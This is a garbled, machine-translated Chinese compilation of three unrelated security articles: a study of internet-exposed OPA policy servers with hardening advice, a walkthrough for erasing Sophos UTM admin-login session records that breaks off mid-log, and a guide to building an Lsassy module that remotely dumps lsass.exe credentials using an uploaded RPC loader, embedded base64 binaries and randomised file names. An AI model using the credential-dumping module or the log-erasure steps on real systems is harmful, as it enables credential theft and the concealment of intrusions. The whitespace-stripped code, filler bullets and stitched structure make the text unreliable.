但是合規性呢?你如何檢查、執行和持續監控你的系統,以確保它們遵循安全最佳實踐並遵守最新的安全標準,例如支付卡行業數據安全標準(PCI-DSS)、健康保險流通與責任法案(HIPAA),以及系統和組織控制(SOC 2)?這就是策略即代碼發揮作用的地方,可以顯著幫助加快合規性創建、自動化和驗證過程。

策略即代碼(或合規性即代碼)已成為實施、管理和跟踪系統策略更改並確保它們在雲本地系統4C 中應用和實施的好方法:代碼、容器、集群和雲。

使用與IaC 和SaC 類似的方法,策略即代碼使用軟件開發中已經使用的所有出色工具和技術來解決合規性問題。一方面,策略以特定文件格式(如JSON 或YAML)或使用特定編程語言(如Python 或Rego)創建和存儲。這些存儲在Git 存儲庫中,用於版本控制、跟踪和可審計性。這樣,組織可以在發生更改時在這些存儲庫上開發和触發管道和自動化。策略即代碼可以在代碼審查、自動化測試以及持續集成和交付(CI/CD) 管道中以編程方式實施,確保更改在到達生產系統之前得到適當的驗證和測試。 OPA 是可用於策略即代碼流程的領先開源工具之一。它可用於網絡上的許多不同應用程序和系統。儘管如此,它的主要採集者之一是Kubernetes 集群的准入控制器,其中它的Gatekeeper版本作為任何試圖在集群中運行的容器的安全器。

Shodan 上暴露的服務器在分析暴露的雲本地工具,特別是暴露暴露的kubelet 時,研究人員還通過Shodan 發現了近400 個暴露在8181 端口上的OPA 服務器,而且這個數字在過去幾個月中一直在增加。端口8181 是OPA 服務器的默認端口,它們都具有可用於未經身份驗證和未經授權的請求的API 端點。根據研究人員的Shodan 搜索,美國、韓國和德國是暴露OPA 數量最多的前三個國家。

研究人員使用列表策略端點來收集有關該實例中安裝的所有策略模塊的信息,如官方OPA 文檔中所示。然後,研究人員查詢了每389 個開放的OPA 服務器,以識別、收集和分析它們可以通過其策略模塊信息暴露的敏感信息類型。研究人員主要關注Policy API 來列出策略和分析數據。

首先,研究人員通過查詢/v1/config/端點來分析安裝在這些服務器上的OPA 的版本。如下圖所示,大多數暴露的服務器都使用過時的OPA 版本,例如0.34.2。在撰寫本文時,最新的OPA 版本是0.43.0。

Fig3_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

根據在Shodan 上找到的數據,暴露的OPA 服務器數量及其版本

在上圖中,研究人員可以看到通過Shodan 找到的一個暴露OPA 服務器的示例。除了能夠通過此頁面查詢服務器之外,如果用戶輸入數據沒有得到適當的清理和驗證,它還可以作為命令注入攻擊的入口點。還有REST API 被暴露和未經身份驗證的問題。

Fig4_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在Shodan 上發現了一個過時(0.29.3) 和暴露的OPA 服務器的示例。截至撰寫本文時,此OPA 服務器的最新版本為0.43。

同時,這是對該暴露服務器的/v1/policies 端點發出GET 請求的結果:

Fig5_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

從暴露的OPA 服務器訪問列表策略(/v1/policies) 端點以列出所有可用策略

在美化生成的policy.json文件並分析其內容後,研究人員從policy文件本身中發現了一些特殊的信息:

在這個暴露的OPA 服務器上有五個可用的規則,其ID 提供了有關其用途的線索;

'systems/ea2c8e2dbfa748608077be0d6fd45369/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/test/test.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/manager/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/backoffice/rules/rules.rego';第一條規則是默認規則,默認返回值設置為false。第二條規則是測試規則;

研究人員可以訪問此暴露的OPA 服務器上可用的所有策略,這些策略可以以原始和抽象語法樹(AST) 格式訪問;

一些規則可以揭示內部應用程序角色,例如“發布者”和“編輯者”;

一些base64 編碼的數據轉換為“助手”。

分析暴露的OPA策略在從所有這些暴露的OPA 服務器收集和分析了近400 條策略之後,研究人員能夠找到以下信息:

這些策略中至少有33%的策略包含與應用程序相關的某種敏感信息,包括用戶配置文件、正在使用的服務,以及將通過Amazon Web Services (AWS) API 網關觸發API 的URL,甚至是一些內部系統URL。

這些策略中有91% 包含有關係統應如何運行以繞過基於已實施策略的某些限制的某種信息。

Fig6_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在收集的OPA 策略中找到的相關和敏感信息的百分比

以下是一些服務和URL 示例,僅通過查看策略和它們為未經身份驗證的請求提供的輸出即可找到:

Fig7B_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

僅通過查看OPA 策略即可找到的服務和URL 示例

通過適當的請求或令牌,攻擊者可以獲得有關這些服務的更多信息,並尋找漏洞或其他入口點以進入組織的系統。研究人員強烈建議目前將OPA 用作其策略即代碼解決方案的公司,以確保他們不會無意中在線暴露其API 和策略。在某些情況下,公司可能會在沒有意識到的情況下使用OPA,Kubernetes 託管服務的多個提供商依賴OPA 來執行策略。

出於安全考慮,研究人員僅從REST API 查詢列表策略端點。但是,還有許多其他可用的端點和方法,它們不僅列出了敏感信息,而且還允許攻擊者編輯甚至刪除暴露的OPA服務器中的數據和對象。其中包括:

8.png

所有這些都可以在OPA REST API 文檔中找到。

保護OPA 服務器首先,OPA 服務器不應該暴露在互聯網上。因此,有必要限制該訪問,以避免任何人通過REST API 繞過你的OPA 配置。對於授權用例,OPA部署的標準模式是讓OPA與請求它做出決策的應用程序運行在同一台設備上。這樣,組織就不需要將OPA 暴露給互聯網或內部網絡,因為通信是通過localhost 接口執行的。此外,以這種方式部署OPA 意味著組織通常不需要為REST API 啟用身份驗證/授權,因為只有在同一台設備上運行的進程才能查詢OPA 實例。為此,可以使用“opa run --addr localhost:8181”啟動OPA,使其僅綁定到localhost 接口。

其次,當使用策略即代碼工具(如OPA)時,在源代碼管理(SCM)系統等位置保護策略是很重要的。通過分支保護和代碼所有者等特性,擁有適當的訪問控制來監視可以更改這些策略中的哪些內容也是至關重要的。有了SCM系統的強大功能,組織可以創建對這些策略的任何更改的更精簡的審查和批准過程,確保源代碼中的任何內容也反映在生產OPA服務器中。

TLS 和HTTPS如上所述,在Shodan 上發現的這些暴露的OPA 服務器中的大多數都沒有使用任何類型的通信加密,因為默認情況下沒有啟用這種加密。要配置TLS 和HTTPS,系統管理員需要創建證書和私鑰,並提供以下命令行標誌:

TLS 證書的路徑:--tls-cert-file=

TLS 私鑰的路徑:--tls-private-key-file=

有關此過程的最新信息,請參閱有關TLS 和HTTPS 的OPA 文檔。

身份驗證和授權默認情況下,OPA 身份驗證和授權機制是關閉的。這在OPA 的官方文檔中有所描述,系統管理員和DevOps 工程師在安裝後立即啟用這些機制至關重要。

根據OPA 文檔,這兩種機制都可以通過以下命令行標誌進行配置:

身份驗證:--authentication=

這可以是不記名令牌(--authentication=token) 或客戶端TLS 證書(--authentication=tls)。

授權:--authorization=

這使用Rego 策略來決定誰可以在OPA 中做什麼。它可以通過在OPA 啟動期間設置--authorization=basic 標誌並提供最小授權策略來啟用。

有關此過程的更多詳細信息,請參閱OPA 關於身份驗證和授權的官方文檔。

雲安全建議Kubernetes 是開發人員中最受歡迎的平台之一,其高采用率證明了這一點,並且沒有任何很快放緩的跡象。隨著用戶基礎的不斷擴大,Kubernetes的部署需要確保安全,免受威脅和風險。為此,開發人員可以將策略作為代碼工具,它可以幫助以自動化的方式實現控制和驗證過程。

除了努力應用一些基本的內務管理規則來保證Kubernetes 集群的安全之外,組織還可以使用特定於雲的安全解決方案。

0x00 前言對於Sophos UTM設備,在web管理頁面中,Last WebAdmin Sessions會記錄用戶每次登錄的信息,本文僅在技術研究的角度介紹清除指定Last WebAdmin Sessions記錄的方法,記錄研究細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云 研究過程

马云惹不起马云實現方法

0x02 Last WebAdmin Sessions簡介在web管理頁面中,選中Management後會顯示Last WebAdmin Sessions記錄,如下圖:

image.png

記錄包括以下內容:

马云惹不起马云 User:登錄用戶名

马云惹不起马云Start:登錄時間

马云惹不起马云State:退出時間

马云惹不起马云IP address:登錄IP

马云惹不起马云Changelog:修改的配置

對於Changelog,點擊Show,會顯示修改的配置,如下圖

image.png

默認配置下,Last WebAdmin Sessions會顯示最近的20條記錄。

0x03 研究過程1.嘗試修改/var/confd/var/storage/cfg在上篇文章《Sophos UTM利用分析——导出配置文件》 提到,/var/confd/var/storage/cfg存儲Sophos UTM的配置信息,所以猜測通過修改/var/confd/var/storage/cfg文件可以實現Last WebAdmin Sessions記錄的清除。

/var/confd/var/storage/cfg的文件格式為Perl Storable files,這裡使用StorableEdit來編輯文件。

向Sophos UTM上傳文件storableedit-1.5.pl,執行命令:

./storableedit-1.5.plcfg結果如下圖:

image.png

解析出的文件結構同使用SophosUTM_ConfigParser.py導出的結果一致。

查看配置信息,命令如下:

cdlastchange

cdREF_AaaGroGroup1

ls將所有屬性置空,命令如下:

$cur-{'user'}='',$cur-{'time'}='',$cur-{'sid'}='',$cur-{'srcip'}=''保存文件,命令如下:

x然而,修改cfg文件後不會影響Last WebAdmin Sessions記錄。

2.反編譯web管理頁面的源碼web管理頁面的程序文件路徑:/var/sec/chroot-httpd/var/webadmin/webadmin.plx

使用SophosUTM_plxDecrypter.py反編譯/var/sec/chroot-httpd/var/webadmin/webadmin.plx

定位到關鍵文件:export-webadmin.plx\wfe\asg\modules\asg_dashboard.pm

定位到關鍵內容:my $userlog=$sys-userlog_read(max=20, facility='webadmin,acc-agent,acc_sso') || [];

如下圖:

image.png

從輸出結果中定位到關鍵函數:userlog_read

3.定位關鍵函數userlog_readgoogle搜索$sys-userlog_read,找到一份參考文檔:https://community.sophos.com/utm-firewall/astaroorg/f/asg-v8-000-beta-closed/69661/7-920-bug-open-failed-smtp-relay-login-is-showing-up-on-last-webadmin-logins

文檔中有關於userlog_read的一些描述,如下圖:

image.png

從描述得出,userlog_read同cc命令存在關聯。

4.反編譯cc命令對應的進程cc命令對應的文件為/var/confd/confd.plx,使用SophosUTM_plxDecrypter.py反編譯/var/confd/confd.plx

5.獲得函數userlog_read細節搜索userlog_read相關內容,命令如下:

grep-iR'userlog_read'/home/kali/1/decrypt/Export-confd.plx輸出結果如下圖:

image.png

從輸出結果中定位關鍵文件:Export-confd.plx/Info/webadmin/log.pm

定位到函數定義:

subuserlog_read{

my($self,%args)=@_;

$args{max}=$args{sid}?1:$args{max}||20;

$args{facility}={map{($_=1)}split/,/,$args{facility}}

if$args{facility};

my$sessions;

$sessions=_consult_db($self,\%args)

unless$self-get(qw(reportinguserlog_from_logs));

$sessions=_iterate_files($self,\%args)

unlessref$sessionseq'ARRAY';

foreachmy$sd(@$sessions){

$sd-{state}=(-e'$config:session_dir/$sd-{sid}'?'active':'ended')

if!$sd-{state}||$sd-{state}eq'active';

}

return$sessions;

}6.函數userlog_read代碼分析代碼涉及兩個操作,分別為讀取數據庫和讀取文件,詳情如下:

(1)數據庫操作

關鍵代碼:

sub_consult_db{

my($self,$args)=@_;

my$facility_selection='';

$facility_selection='WHEREfacilityin('.

join(',',map{'?'}keys%{$args-{facility}}).')'

if$args-{facility};

my%sql=(

sessions='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessions'.$facility_selection

.'ORDERBYtimeDESCLIMIT?',

session='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessionsWHEREsid=?',

nodes='SELECT*FROMconfd_nodesWHEREsid=$1ORDERBYtimeDESC',

objects='SELECT*FROMconfd_objectsWHEREsid=$1ORDERBYtimeDESC',

);

#Preparedatabaseaccess.

my$db=Astaro:ADBS-new(dbName='reporting')orreturn;

while(my($key,$query)=each%sql){

$db-registerSQL($key,$query)orreturn;

}

#ListConfdsessions.

my$sessh;

if($args-{sid}){

$sessh=$db-getHandle('session')orreturn;

$sessh-execute($args-{sid})orreturn;

}elsif($args-{facility}){

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute(keys%{$args-{facility}},$args-{max})orreturn;

}else{

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute($args-{max})orreturn;

}

my$sessions=$sessh-fetchall_arrayref({});

my$nodeh=$db-getHandle('nodes')orreturn;

my$objh=$db-getHandle('objects')orreturn;

foreachmy$sd(@$sessions){

#Tweaksessiondata.

$sd-{time}=~tr/-/:-/;

$sd-{endtime}=~tr/-/:-/ifdefined$sd-{endtime};

$sd-{user}=delete$sd-{username};#userisareservedwordinSQL

$sd-{user}.='(SUM)'if$sd-{facility}eq'acc_sso';

$sd-{user}=utils:Sanitize:sanitize($sd-{user})if$sd-{user};

#Fetchnodechanges.

$nodeh-execute($sd-{sid})orreturn;

foreachmy$node(@{$nodeh-fetchall_arrayref({})}){

$node-{time}=~tr/-/:-/;

$node-{node_descr}=Message:get_phrase(

'N',$node,{Nattrs=['node']});

$sd-{main}{$node-{node}}||=[];

push@{$sd-{main}{$node-{node}}},$node;

}

#Fetchobjectchanges.

$objh-execute($sd-{sid})orreturn;

foreachmy$object(@{$objh-fetchall_arrayref({})}){

my$attrs=$object-{attrs}||[];

$object-{attributes}=[];

while(@$attrs){

my$name=shift@$attrs;

$object-{'attr_$name'}=shift@$attrs;

$object-{'oldattr_$name'}=shift@$attrs;

$object-{'descr_$name'}=Message:get_phrase(

'A',$object,{attr=$name});

push@{$object-{attributes}},$name;

}

delete$object-{attrs};

if(@{$object-{attributes}}){

$object-{attributes}=[sort@{$object-{attributes}}];

}else{

delete$object-{attributes};

}

$object-{time}=~tr/-/:-/;

$object-{obj_descr}=Message:get_phrase('O',$object,{});

$sd-{objects}{$object-{ref}}||=[];

push@{$sd-{objects}{$object-{ref}}},$object;

}

}

$db-disconnect;

return$sessions;

}代碼分析:

從數據庫reporting中分別執行以下操作實現數據讀取:

sessions:SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;

nodes:SELECT*FROMconfd_nodes;

objects:SELECT*FROMconfd_objects;經過測試分析,confd_sessions存儲Session信息。

讀取Session信息的cmd命令:

psqlreporting-Upostgres-c'SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;'(2)文件操作

關鍵代碼:

sub_iterate_files{

my($self,$args)=@_;

#choosethefirstfiletoprocess

my$filename='/var/log/confd.log';

if(defined$args-{time}){

my@then;

if($args-{time}=~/^(\d{4}):(\d\d):(\d\d)/){

@then=(0,0,12,$3,$2-1,$1-1900);

}else{

@then=localtime($args-{time});

}

my$then=POSIX:strftime('%F',@then);

my$now=POSIX:strftime('%F',localtime);

$filename=POSIX:strftime(

'/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz',

@then,

)if$thenne$now;

}

#processthefirstfile

my$sessions=[];

my$sdata={};

_parse_file($self,$filename,$sessions,$sdata,$args);

#ifneeded,processarchivedlogfiles

if(@$sessions$args-{max}not$args-{time}){

my$iter=File:Next:files({

file_filter=sub{/\.log\.gz$/},

sort_files=\File:Next:sort_reverse,

},'/var/log/confd');

while(@$sessions$args-{max}){

$filename=$iter-();

lastunlessdefined$filename;

my@new_sessions;

_parse_file($self,$filename,\@new_sessions,$sdata,$args);

push@$sessions,@new_sessions;

}

}

#limitthenumberofsessionstoreporton

splice@$sessions,$args-{max}if@$sessions=$args-{max};

return[@{$sdata}{@$sessions}];

}代碼分析:

讀取文件/var/log/confd.log,/var/log/confd.log只能保存現在時間到之前一段時間的日誌,更早時間的日誌會保存在/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz,例如2022年5月16日的日誌對應位置為/var/log/confd/2022/05/confd-2022-05-16.log.gz

經過測試分析,/var/log/confd.log存儲Session信息。

7.編輯文件中存儲的Session信息查看登錄成功的信息:

cat/var/log/confd.log|grepsuccess返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='System'sub='confd'name='authenticat ionsuccessful'user='admin'srcip='192.168.1.2'sid='8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab'facility='webadmin'client='webadmin.plx'cal l='new'May2300:19:33confd[41177]:Dsys:AUTOLOAD:307()=id='3100'severity='debug'sys='System'sub='confd'name='externalcall'user='admin's rcip='192.168.1.2'facility='webadmin'client='webadmin.plx'lock='none'method='get_SID'從結果中獲得sid為8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab

篩選出指定sid的信息:

cat/var/log/confd.log|grep8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='Sys

0x00 前言在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介紹了Lsassy的用法,Lsassy能夠實現遠程從lsass.exe進程導出憑據。本文將要在Lsassy的基礎上進行二次開發,添加一個導出憑據的方法,記錄細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云二次開發的細節

马云惹不起马云 開源代碼

0x02 導出憑據的方法在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到過使用RPC控制lsass加載SSP的方式向lsass.exe進程注入dll,由dll來實現dump的功能,這個方法是Lsassy缺少的。

這個方法共分為兩部分:

(1)加載器使用RPC控制lsass進程加載dll文件

可參考XPN開源的代碼:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

在編譯代碼時,為了提高通用性,編譯選項選擇在靜態庫中使用MFC,在原代碼的基礎上添加如下代碼:

#pragmacomment(lib,'Rpcrt4.lib')編譯代碼生成文件rpcloader.exe

(2)dll文件dll文件實現從lsass.exe進程導出憑據,代碼可參考:

https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c

dll加載時會將dump文件保存為c:\windows\Temp\dumpert.dmp

編譯代碼生成文件dumpert.dll

經過以上操作,得到文件rpcloader.exe和dumpert.dll,作為二次開發的準備。

0x03 二次開發的細節1.添加一個需要指定文件路徑的dump方法格式參考:https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/dummy.py.tpl

根據參考格式寫出模塊代碼,我這裡額外做了一些標記,細節如下:

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'//進程dump文件保存的文件名

dump_share='C$'//進程dump文件保存的磁盤

dump_path='\\Windows\\Temp\\'//進程dump文件保存的路徑

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader','rpc.exe')//rpcloader為命令行使用的參數名,rpc.exe為上傳文件保存的文件名

self.dll=Dependency('dll','rpc.dll')//dll為命令行使用的參數名,rpc.dll為上傳文件保存的文件名

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])//確認命令行參數是否正確

defclean(self):

self.clean_dependencies([self.loader,self.dll])//清除上傳的文件

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()//執行的命令:c:\windows\temp\rpc.exec:\windows\temp\rpc.dll

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc.py

注:

上傳的文件可以使用隨機名稱,代碼self.loader=Dependency('rpcloader', 'rpc.exe')

可修改為self.loader=Dependency('rpcloader', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.exe'),代碼self.dll=Dependency('dll', 'rpc.dll')可修改為self.dll=Dependency('dll', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.dll')

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc-Orpcloader_path=c:\test\rpcloader.exe,dll_path=c:\test\dumpert.dll該方法會將本地的c:\test\rpcloader.exe和c:\test\dumpert.dll複製到遠程主機並命名為c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll,將lsass進程的dump文件保存為c:\windows\temp\dumpert.dmp

2.添加一個全自動的dump方法為了使以上整個過程自動化,這裡可以選擇將exe和dll文件作base64編碼保存在變量中。

base64編碼的實現代碼:

importbase64

withopen('rpcloader.exe','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('rpcloader-base64.txt','w')asfw:

fw.write(data1)

withopen('dumpert.dll','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('dumpert-base64.txt','w')asfw:

fw.write(data1)將生成rpcloader-base64.txt和dumpert-base64.txt替換以下代碼中的base64

importbase64

importrandom

importstring

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'

dump_share='C$'

dump_path='\\Windows\\Temp\\'

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.exe')

self.loader.content=base64.b64decode('')

self.dll=Dependency('dll',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.dll')

self.dll.content=base64.b64decode('')

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])

defclean(self):

self.clean_dependencies([self.loader,self.dll])

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc_embedded.py

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc_embedded3.打包成exe文件完整的打包命令:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importlsassy.dumpmethod.d llinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden-importlsassy.dumpmethod.ppldump--h idden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importlsassy.exec.smb--hidden-importlsassy.exec.smb_stealth --hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output--hidden-importlsassy.dumpmethod.rawrpc--hidden-importlsassy.dumpmethod.rawrpc_embedded0x04 小結Lsassy將不同的功能模塊化,結構設置合理,添加dump方法僅需要修改Dumper module對應的實現代碼。我已經將新添加的模塊推送至Lsassy,在最新版的Lsassy可以直接使用這個模塊。